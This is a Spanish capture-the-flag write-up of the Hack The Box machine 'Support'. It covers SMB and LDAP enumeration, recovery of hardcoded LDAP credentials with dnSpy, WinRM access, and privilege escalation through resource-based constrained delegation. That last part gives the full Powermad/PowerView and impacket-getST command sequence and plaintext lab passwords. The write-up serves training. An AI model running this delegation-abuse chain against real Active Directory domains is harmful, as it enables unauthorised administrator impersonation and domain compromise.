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1. Enumeración 
Realizamos un PING a la máquina víctima para comprobar su TTL. A partir del valor 
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso 
podemos deducir que se trata de una máquina Windows. 

 
 

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes 
servicios y versiones asociados.  

 
 

Añadimos las siguientes entradas en el fichero /etc/hosts de nuestra máquina atacante. 

 
 

Dado que tiene el puerto tcp/53 abierto, vamos a intentar a ataque de transferencia de 
zona en la máquina víctima. Pero no da resultado. 
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Realizamos una enumeración de SMB y vemos los siguientes recursos.  

 
 

Revisamos el contenido del recurso “support-tools” y nos llama la atención el fichero 
“UserInfo.exe.zip” 
 

2. Análisis de vulnerabilidades 
Para trabajar más cómodamente, nos traemos el binario a una máquina Windows, donde 
podamos disponer de la VPN de Hack The Box y ejecutamos el programa. Antes debemos 
meter en el fichero C:\Windows\System32\drivers\etc\hosts el nombre y dirección IP de 
la máquina víctima, tal y como hicimos en el fichero /etc/hosts. 

 
 

Conseguimos una lista de usuarios potenciales. Antes de intentar otros vectores de 
ataque, vamos a intentar hacer un poco de ingeniería inversa con el ejecutable, por si 
encontramos alguna credencial o similar. Nos descargamos dnSpy 
(https://github.com/dnSpy/dnSpy) y abrimos el binario. 
 
Investigando vemos la clase LdapQuery, la cual vemos que usa el usuario “support\ldap” 
y obtiene una credencial. Vamos a intentar recuperar el valor de dicha credencial. 
Creamos un punto de interrupción (F9) en esa línea y con F5 ejecutamos el programa 
pasándole los argumentos que pusimos durante la ejecución manual. 
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La ejecución del programa se para donde habíamos puesto el punto de interrupción.  

 
Ahora pulsamos F10, para ir a la siguiente línea de ejecución y obtener el valor de la 
password. 

 
Usuario: ldap@support.htb 
Clave: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 
 

Validamos dichas credenciales con crackmapexec. Probamos si son válidas para 
conectarnos por WinRM, pero no funcionan. 
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Vamos a realizar una enumeración del servicio de LDAP ahora que tenemos unas 
credenciales válidas. 

 
 

Con Python, publicamos un servicio web apuntando al directorio donde hemos alojado 
los ficheros obtenidos por el comando “ldapdomaindump” e investigamos los resultados. 

 
 

Vemos un grupo que no es habitual “Shared Support Accounts”. También vemos que el 
único usuario que pertenece a Remote Management Users es el usuario “support”. 
Tendremos que intentar convertirnos es ese usuario. 
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3. Explotación y acceso 
Vamos a realizar una enumeración más exhaustiva del servicio LDAP con el comando 
“ldapsearch”. 

 
 

Revisamos con cuidado la información hasta que llegamos al usuario “support”, donde 
vemos una posible clave en el campo “Info”. 

 
Clave: Ironside47pleasure40Watchful 
 

Validamos las credenciales con “crackmapexec” y vemos que nos pone “Pwn3d!”, por lo 
que las credenciales son válidas y nos da acceso a la máquina víctima. 

 
 

Nos conectamos a la máquina víctima con “EvilWinRM”. 
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4. Escalada de privilegios. 
Realizamos una enumeración básica y no vemos nada de interés. Vamos a intentar que 
BloodHound no de esa vía potencial. 

 
 

Subimos esos ficheros a nuestro BloodHound. Analizamos el grupo “Shared Support 
Accounts” Y vemos una vía potencial de escalar privilegios. 

 
 

Seguimos los pasos que nos indica HackTricks: https://book.hacktricks.xyz/windows-
hardening/active-directory-methodology/resource-based-constrained-delegation para 
aprovecharnos de los privilegios que tiene el grupo “Shared Support Accounts”. Pasamos 
a la máquina víctima el script en PowerShell “Powermad” 
(https://raw.githubusercontent.com/Kevin-
Robertson/Powermad/master/Powermad.ps1) 

 
Y seguimos los siguientes pasos: 
 1. import-module ./Powermad.ps1 
 2. New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -
Force) -Verbose 
 3. https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 
 4. import-module ./PowerView.ps1 
 5. Comprobamos que se ha creado el objeto con: Get-DomainComputer SERVICEA. 
 6. $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid 
 7. $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" 
 8. $SDBytes = New-Object byte[] ($SD.BinaryLength) 
 9. $SD.GetBinaryForm($SDBytes, 0) 
10. Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} 
11. Comprobamos si todo a funcionado: Get-DomainComputer dc.support.htb -Properties 'msds-
allowedtoactonbehalfofotheridentity' 
12.   
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Podriamos tirar de Rubeus como indica Hacktricks, pero hay una herramienta más 
cómoda, llamada rbcd.py (https://github.com/tothi/rbcd-attack) . Podríamos haber 
automatizado con ella todos estos pasos que hemos hecho ahora. No obstante, al final 
de la web nos explica como realizar el ataque con impacket: 
1. impacket-getST -spn cifs/dc.support.htb -impersonate administrator -dc-ip 10.10.11.174 
support.htb/SERVICEA$:123456 
2. export KRB5CCNAME=administrator.ccache 

 

 
 

Ahora con psexec, deberiamos poder ganar acceso como nt authority\system.  
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